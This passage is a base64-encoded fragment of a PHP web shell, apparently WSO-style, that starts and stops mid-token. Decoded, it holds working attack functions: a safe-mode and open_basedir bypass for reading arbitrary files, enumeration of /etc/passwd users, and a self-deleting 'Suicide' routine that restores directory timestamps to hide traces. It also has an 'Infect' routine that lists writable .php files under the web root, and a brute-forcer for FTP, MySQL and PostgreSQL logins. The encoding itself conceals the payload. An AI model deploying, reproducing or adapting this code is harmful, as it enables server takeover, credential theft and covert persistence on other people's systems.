biBkZWNoZXgoYmluZGVjKCRwKSk7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScp KSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRp Kz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319CglpZigh ZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9 Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRw WyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVs bF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9 MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4g c3RydG91cHBlcigkcik7fX0KCSRzdHJpbmdUb29scyA9IGFycmF5KAoJCSdCYXNlNjQgZW5jb2Rl JyA9PiAnYmFzZTY0X2VuY29kZScsCgkJJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2Rl JywKCQknVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxk ZWNvZGUnLAoJCSdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKCQknbWQ1IGhh c2gnID0+ICdtZDUnLAoJCSdzaGExIGhhc2gnID0+ICdzaGExJywKCQknY3J5cHQnID0+ICdjcnlw dCcsCgkJJ0NSQzMyJyA9PiAnY3JjMzInLAoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgn LAoJCSdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLAoJCSdIRVggdG8gREVDJyA9PiAnaGV4 ZGVjJywKCQknSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAoJCSdERUMgdG8gSEVYJyA9PiAnZGVj aGV4JywKCQknREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5o ZXgnLAoJCSdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywKCQknU3RyaW5nIHRvIGxvd2VyIGNhc2Un ID0+ICdzdHJ0b2xvd2VyJywKCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVy JywKCQknSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLAoJCSdTdHJpbmcg bGVuZ3RoJyA9PiAnc3RybGVuJywKCSk7CglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQlw cm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsKCQlvYl9z dGFydCgpOwoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkKCQkJZWNo byAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsKCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVt ZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50 QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hh cnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKCQllY2hvIHN0cmxlbigk dGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgn XSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCXByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBf SE9TVCddKS4nYWpheCcsIDApOwoJaGFyZEhlYWRlcigpOwoJZWNobyAnPGgxPlN0cmluZyBjb252 ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CgllY2hvICI8Zm9ybSBuYW1lPSd0b29s c0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5z ZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMu c2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxsYWJl bD48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7Cglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAk ayA9PiAkdikKCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiIn PiIuJGsuIjwvb3B0aW9uPiI7CgkJZWNobyAiPC9zZWxlY3Q+PC9sYWJlbD48aW5wdXQgdHlwZT0n c3VibWl0JyB2YWx1ZT0nc3VibWl0Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2 YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydj aGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcg c3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEn XSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3Jt PjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6 bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CglpZighZW1wdHko JF9QT1NUWydwMSddKSkgewoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xz KSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwoJfQoJ ZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29u dGVudD4KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMu dGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNl bGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+CgkJCTx0cj48dGQgd2lk dGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHls ZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0 IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JB TFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD5O YW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9Jyon IHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0 IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3N1Ym1pdCc+PC90ZD48L3RyPgoJCQk8L3RhYmxlPjwvZm9y bT4iOwoJZnVuY3Rpb24gaGFyZFJlY3Vyc2l2ZUdsb2IoJHBhdGgpIHsKCQlpZihzdWJzdHIoJHBh dGgsIC0xKSAhPSAnLycpCgkJCSRwYXRoLj0nLyc7CgkJJHBhdGhzID0gQGFycmF5X3VuaXF1ZShA YXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBH TE9CX09OTFlESVIpKSk7CgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsK CQkJZm9yZWFjaCgkcGF0aHMgYXMgJOKWnykgewoJCQkJaWYoQGlzX2Rpcigk4pafKSl7CgkJCQkJ aWYoJHBhdGghPSTilp8pCgkJCQkJCWhhcmRSZWN1cnNpdmVHbG9iKCTilp8pOwoJCQkJfSBlbHNl IHsKCQkJCQlpZihlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJwb3MoZmlsZV9nZXRfY29udGVu dHMoJOKWnyksICRfUE9TVFsncDInXSkhPT1mYWxzZSkKCQkJCQkJZWNobyAiPGEgaHJlZj0nIycg b25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJOKWnykuIlwiLCBc InZpZXdcIixcIlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCTilp8pLiI8L2E+PGJyPiI7CgkJCQl9 CgkJCX0KCQl9Cgl9CglpZihAJF9QT1NUWydwMyddKQoJCWhhcmRSZWN1cnNpdmVHbG9iKCRfUE9T VFsnYyddKTsKCWVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBj bGFzcz1jb250ZW50PgoJCTxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9 J2hmJz4KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBw eDsnPjxicj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1 ZT0nZmluZCcvPgoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0naGFzaGNyYWNraW5nLnJ1 JyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hhc2hjcmFja2luZy5ydS9p bmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlwZT0nc3Vi bWl0JyB2YWx1ZT0nbWQ1LnJlZG5vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlv bj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycm cz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgogICAgICAgICAgICA8aW5wdXQgdHlw ZT0nc3VibWl0JyB2YWx1ZT0nZmFrZW5hbWVnZW5lcmF0b3IuY29tJyBvbmNsaWNrPVwiZG9jdW1l bnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3LmZha2VuYW1lZ2VuZXJhdG9yLmNvbS8nO2RvY3VtZW50 LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0naGFzaGNy YWNrLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5oYXNoY3Jh Y2suY29tL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0 eXBlPSdzdWJtaXQnIHZhbHVlPSd0b29sa2kuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0 aW9uPSdodHRwOi8vdG9vbGtpLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8 aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nZm9wby5jb20uYXInIG9uY2xpY2s9XCJkb2N1bWVu dC5oZi5hY3Rpb249J2h0dHA6Ly9mb3BvLmNvbS5hci8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+ PGJyPgoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nbWQ1ZGVjcnlwdGVyLmNvbScgb25j bGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7 ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJPC9mb3JtPjwvZGl2PiI7CgloYXJkRm9vdGVy KCk7Cn0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7CgkkdGVtcD0nJzsKCW9iX3N0YXJ0KCk7 Cglzd2l0Y2goJF9QT1NUWydwMSddKSB7CgkJY2FzZSAxOgoJCQkkdGVtcD1AdGVtcG5hbSgkdGVz dCwgJ2N4Jyk7CgkJCWlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0 ZW1wKSl7CgkJCQllY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CgkJCQl1bmxpbmsoJHRl bXApOwoJCQl9IGVsc2UKCQkJCWVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOwoJCQli cmVhazsKCQljYXNlIDI6CgkJCSRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7CgkJCWlm KCBpc19hcnJheSgkZmlsZXMpICkKCQkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpCgkJ CQkJZWNobyAkZmlsZW5hbWUuIlxuIjsKCQkJYnJlYWs7CgkJY2FzZSAzOgoJCQkkY2ggPSBjdXJs X2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsKCQkJY3VybF9l eGVjKCRjaCk7CgkJCWJyZWFrOwoJCWNhc2UgNDoKCQkJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIp OwoJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CgkJCWluY2x1ZGUoJF9QT1NUWydwMidd KTsKCQkJYnJlYWs7CgkJY2FzZSA1OgoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3Az J107JF9QT1NUWydwMiddKyspIHsKCQkJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydw MiddKTsKCQkJCWlmICgkdWlkKQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsKCQkJfQoJ CQlicmVhazsKCQljYXNlIDY6CgkJCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpKWJy ZWFrOwoJCQkkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsKCQkJaWYg KCRzdHJlYW0gPT0gRkFMU0UpCgkJCQlicmVhazsKCQkJZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwg MSk7CgkJCWltYXBfY2xvc2UoJHN0cmVhbSk7CgkJCWJyZWFrOwoJfQoJJHRlbXAgPSBvYl9nZXRf Y2xlYW4oKTsKCWhhcmRIZWFkZXIoKTsKCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48 ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+ PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJu IGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxp bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxp c3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFt LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0 IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+ PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxs LCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29s c0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJt aXQiPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0g b25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNl O1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0 eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlk ICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVs bCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZh bHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEg dmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFt ZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQg dmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUp PC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUp O3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9 c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwoJaWYoJHRlbXApCgkJZWNobyAnPHByZSBj bGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuJHRlbXAuJzwv cHJlPic7CgllY2hvICc8L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkxv Z291dCgpIHsKICAgIHNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRp bWUoKSAtIDM2MDApOwoJZGllKCdieWUhJyk7Cn0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgp IHsKCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgewoJCSRjdXJyX2ZpbGUgPSBwcmVnX3JlcGxh Y2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pOwoJCSRkaXIgPSBAZGlybmFtZSgkY3Vy cl9maWxlKTsKCQkkZGlydGltZSA9IEBmaWxlbXRpbWUoJGRpcik7CiAgICAgICAgaWYgKEB1bmxp bmsoJGN1cnJfZmlsZSkpIHsKICAgICAgICAgICAgZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVk Jyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAndW5saW5rIGVycm9yISc7CiAg ICAgICAgfQogICAgICAgIEB0b3VjaCgkZGlyLCAkZGlydGltZSwgJGRpcnRpbWUpOwogICAgfQog ICAgaWYoJF9QT1NUWydwMSddICE9ICd5ZXMnKQogICAgICAgIGhhcmRIZWFkZXIoKTsKCWVjaG8g JzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3Zl IHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5Z ZXM8L2E+PC9kaXY+JzsKCWhhcmRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25JbmZlY3QoKSB7 CgloYXJkSGVhZGVyKCk7CgllY2hvICc8aDE+SW5mZWN0PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+ JzsKCWlmKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0JykgewoJCSR0YXJnZXQ9JF9TRVJWRVJbJ0RP Q1VNRU5UX1JPT1QnXTsKCQkJZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXIpIHsKCQkJCWlmKCRkaCA9 IG9wZW5kaXIoJGRpcikpIHsKCQkJCQkkZmlsZXMgPSBBcnJheSgpOwoJCQkJCSRpbm5lcl9maWxl cyA9IEFycmF5KCk7CgkJCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJCQkJaWYo JGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIHsKCQkJCQkJCWlmKGlzX2RpcigkZGlyIC4g Ii8iIC4gJGZpbGUpKSB7CgkJCQkJCQkJJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXIgLiAi LyIgLiAkZmlsZSk7CgkJCQkJCQkJaWYoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0g YXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJ CQlhcnJheV9wdXNoKCRmaWxlcywgJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCX0KCQkJCQkJ fQoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJldHVybiAkZmlsZXM7CgkJCQl9CgkJ CX0KCQkJZm9yZWFjaCAoTGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9PiRmaWxlKXsKCQkJCSRu RmlsZSA9IHN1YnN0cigkZmlsZSwgLTQsIDQpOwoJCQkJaWYoJG5GaWxlID09ICIucGhwIiApewoJ CQkJCWlmKCgkZmlsZTw+JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4kX1NFUlZFUlsnUEhQX1NF TEYnXSkmJihpc193cml0ZWFibGUoJGZpbGUpKSl7CgkJCQkJCWVjaG8gIiRmaWxlPGJyPiI7CgkJ CQkJCSRpKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXpl PTE0PiRpPC9mb250PiI7CgkJfWVsc2V7CgkJCWVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1 dCB0eXBlPXN1Ym1pdCB2YWx1ZT1JbmZlY3QgbmFtZT1pbmZldD48L2Zvcm0+IjsKCQkJZWNobyAn UmVhbGx5IHdhbnQgdG8gaW5mZWN0IHRoZSBzZXJ2ZXI/Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9 ImcobnVsbCxudWxsLFwnaW5mZWN0XCcpIj5ZZXM8L2E+PC9kaXY+JzsKCQl9CgloYXJkRm9vdGVy KCk7Cn0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsKCWhhcmRIZWFkZXIoKTsKCWlmKCBp c3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNs YXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1Rb J3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9T VFsnc2VydmVyJ10pLic8YnI+JzsKCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewoJ CQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRmcCA9 IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKCQkJCWlmKCEkZnApIHJldHVybiBm YWxzZTsKCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAZnRw X2Nsb3NlKCRmcCk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3By b3RvJ10gPT0gJ215c3FsJyApIHsKCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxv Z2luLCRwYXNzKSB7CgkJCQkkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4oJHBvcnQ/JHBv cnQ6MzMwNiksICRsb2dpbiwgJHBhc3MpOwoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOwoJCQkJcmV0 dXJuICRyZXM7CgkJCX0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7 CgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJHN0 ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBh c3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7CgkJCQkkcmVzID0gQHBnX2Nvbm5l Y3QoJHN0cik7CgkJCQlAcGdfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0K CQkkc3VjY2VzcyA9IDA7CgkJJGF0dGVtcHRzID0gMDsKCQkkc2VydmVyID0gZXhwbG9kZSgiOiIs ICRfUE9TVFsnc2VydmVyJ10pOwoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsKCQkJJHRlbXAg PSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsKCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApCgkJCQlmb3Jl YWNoKCR0ZW1wIGFzICRsaW5lKSB7CgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOwoJ CQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVy WzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQllY2hv ICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFy cygkbGluZVswXSkuJzxicj4nOwoJCQkJCX0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsK CQkJCQkJJHRtcCA9ICIiOwoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsg LS0kaSkKCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOwoJCQkJCQkrKyRhdHRlbXB0czsKCQkJ CQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1w KSApIHsKCQkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCQllY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hh cnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsKCQkJCQkJfQoJCQkJ CX0KCQkJCX0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7CgkJCSR0ZW1wID0gQGZp bGUoJF9QT1NUWydkaWN0J10pOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2go JHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOwoJCQkJCSsrJGF0dGVt cHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsn bG9naW4nXSwgJGxpbmUpICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQllY2hvICc8Yj4nLmh0 bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMo JGxpbmUpLic8YnI+JzsKCQkJCQl9CgkJCQl9CgkJfQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwv 